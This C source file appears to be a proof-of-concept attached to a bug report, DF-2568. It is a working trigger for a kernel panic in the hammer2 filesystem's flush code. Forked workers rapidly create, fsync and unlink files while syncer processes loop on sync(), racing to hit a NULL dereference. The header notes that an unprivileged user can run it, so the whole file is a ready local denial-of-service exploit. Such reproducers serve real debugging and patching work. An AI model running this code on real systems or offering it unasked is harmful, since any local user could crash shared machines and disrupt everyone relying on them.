DF-2568 / race_flush.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 | /* * DF-2568 — hammer2_flush retry-loop NULL-deref panic trigger. * * Race the hammer2 flush path against concurrent unlink so that a chain's * parent is set to NULL during the flush_core unlock/relock window * (hammer2_flush.c:662-665), causing the retry at hammer2_flush.c:405 * to call hammer2_chain_ref(NULL) -> NULL deref -> kernel panic. * * Strategy: * - many workers create+write+fsync+unlink files (and mkdir/rmdir dirs) * in a tight loop, dirtying and deleting hammer2 chains rapidly. * - dedicated syncers call sync()/fsync() in a tight loop to drive the * flush path constantly. * - the flush (from sync) and the concurrent unlink race the window; when * the flush hits a chain whose parent was just unlinked, the retry loop * dereferences NULL. * * Run on a mounted hammer2 filesystem (the directory must be writable by the * caller). Run as unprivileged user on a root-mounted hammer2 fs. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <signal.h> #include <sys/wait.h> #include <sys/stat.h> #include <sys/mount.h> #include <errno.h> #ifndef DIR_ENV #define DIR_ENV "RACE_DIR" #endif static volatile sig_atomic_t stop = 0; static void on_alarm(int s) { (void)s; stop = 1; } static void die(const char *m) { perror(m); _exit(127); } /* Worker: tight loop of create+write+fsync+unlink and mkdir/rmdir, racing * the chain-modify vs chain-delete. Each worker uses its own subdir to avoid * cross-worker serialization on the parent dir inode lock. */ static void worker(int id, const char *base, long iters) { char dir[512], path[600]; char buf[4096]; long i; int fd; snprintf(dir, sizeof(dir), "%s/w%d", base, id); for (i = 0; i < iters && !stop; i++) { /* (re)create worker subdir */ mkdir(dir, 0777); /* create several files, write, fsync (triggers per-file flush) */ for (int f = 0; f < 6; f++) { snprintf(path, sizeof(path), "%s/f%d_%ld", dir, f, i); fd = open(path, O_RDWR | O_CREAT | O_TRUNC, 0666); if (fd < 0) continue; /* write a couple blocks to dirty the chain + indirect blocks */ buf[0] = (char)(id + f + i); write(fd, buf, sizeof(buf)); write(fd, buf, sizeof(buf)); fsync(fd); /* drive the flush path on THIS chain */ close(fd); } /* unlink the files (deletes chains from parent dir) */ for (int f = 0; f < 6; f++) { snprintf(path, sizeof(path), "%s/f%d_%ld", dir, f, i); unlink(path); } /* rmdir the worker dir (removes the dir chain too), so next iter * re-creates it (new chain, new parent association to race). */ rmdir(dir); } _exit(0); } /* Syncer: hammer the global syncer to keep the flush path constantly busy. */ static void syncer(int id, const char *base, long iters) { long i; char path[600]; int fd; for (i = 0; i < iters && !stop; i++) { sync(); /* also fsync a scratch file to drive per-inode flush hard */ snprintf(path, sizeof(path), "%s/.sync_%d", base, id); fd = open(path, O_RDWR | O_CREAT, 0666); if (fd >= 0) { fsync(fd); close(fd); unlink(path); } } _exit(0); } int main(int argc, char **argv) { const char *base = getenv(DIR_ENV); int nworkers = 10; int nsyncers = 4; long iters = 200000; int timeout = 0; pid_t *kids; int nkids, k, status; int opt; while ((opt = getopt(argc, argv, "d:w:s:i:t:")) != -1) { switch (opt) { case 'd': base = optarg; break; case 'w': nworkers = atoi(optarg); break; case 's': nsyncers = atoi(optarg); break; case 'i': iters = atol(optarg); break; case 't': timeout = atoi(optarg); break; default: fprintf(stderr, "usage: %s [-d race_dir] [-w workers] [-s syncers] " "[-i iters] [-t timeout_sec]\n", argv[0]); return 2; } } if (!base) base = getenv(DIR_ENV); if (!base) { fprintf(stderr, "%s: set RACE_DIR or pass -d <dir>\n", argv[0]); return 2; } fprintf(stderr, "DF-2568 hammer2 flush race: base=%s workers=%d syncers=%d " "iters=%ld timeout=%d\n", base, nworkers, nsyncers, iters, timeout); signal(SIGALRM, on_alarm); if (timeout > 0) alarm((unsigned)timeout); nkids = nworkers + nsyncers; kids = calloc(nkids, sizeof(pid_t)); if (!kids) die("calloc"); for (k = 0; k < nworkers; k++) { pid_t p = fork(); if (p < 0) die("fork"); if (p == 0) worker(k, base, iters); kids[k] = p; } for (k = 0; k < nsyncers; k++) { pid_t p = fork(); if (p < 0) die("fork"); if (p == 0) syncer(k, base, iters); kids[nworkers + k] = p; } /* parent: wait for all, or get killed by panic */ for (k = 0; k < nkids; k++) { if (kids[k] > 0) { waitpid(kids[k], &status, 0); } } fprintf(stderr, "DF-2568: all children exited (no panic)\n"); return 0; } |